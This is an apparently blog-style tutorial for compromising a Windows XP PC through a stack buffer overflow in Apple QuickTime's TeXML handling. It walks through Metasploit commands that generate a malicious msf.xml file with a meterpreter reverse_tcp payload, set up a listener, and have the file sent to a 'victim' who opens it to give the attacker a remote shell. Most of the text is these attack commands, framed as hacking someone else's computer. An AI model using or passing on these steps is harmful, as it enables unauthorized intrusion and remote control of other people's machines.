Hack Remote Windows PC using Apple QuickTime TeXML Stack Buffer Overflow

This module exploits a vulnerability found in Apple QuickTime. When handling a TeXML file, it is possible to trigger a stack-based buffer overflow, and then gain arbitrary code execution under the context of the user. The flaw is generally known as a bug while processing the ‘transform’ attribute, however, that attack vector seems to only cause a Terminate Process call due to a corrupt stack cookie, and more data will only trigger a warning about the malformed XML file. This module exploits the ‘color’ value instead, which accomplishes the same thing.

Exploit Targets

QuickTime 7.7.1 on Windows XP SP3

QuickTime 7.7.0 on Windows XP SP3

QuickTime 7.6.9 on Windows XP SP3


Attacker: Backtrack 5

Victim PC: Windows XP

Open backtrack terminal type msfconsole

Now type use exploit/windows/fileformat/apple_quicktime_texml

Msf exploit (apple_quicktime_texml)>set payload windows/meterpreter/reverse_tcp

Msf exploit (apple_quicktime_texml)>set lhost (IP of Local Host)

Msf exploit (apple_quicktime_texml)>set srvhost

Msf exploit (apple_quicktime_texml)>show targets

Msf exploit (apple_quicktime_texml)>set target 0

Msf exploit (apple_quicktime_texml)>exploit

After we successfully generate the malicious File, it will stored on your local computer


Now we need to set up a listener to handle reverse connection sent by victim when the exploit successfully executed.

use exploit/multi/handler

set payload windows/meterpreter/reverse_tcp

set lhost


Now send your msf.xml files to victim, as soon as they download and open it. Now you can access meterpreter shell on victim computer.

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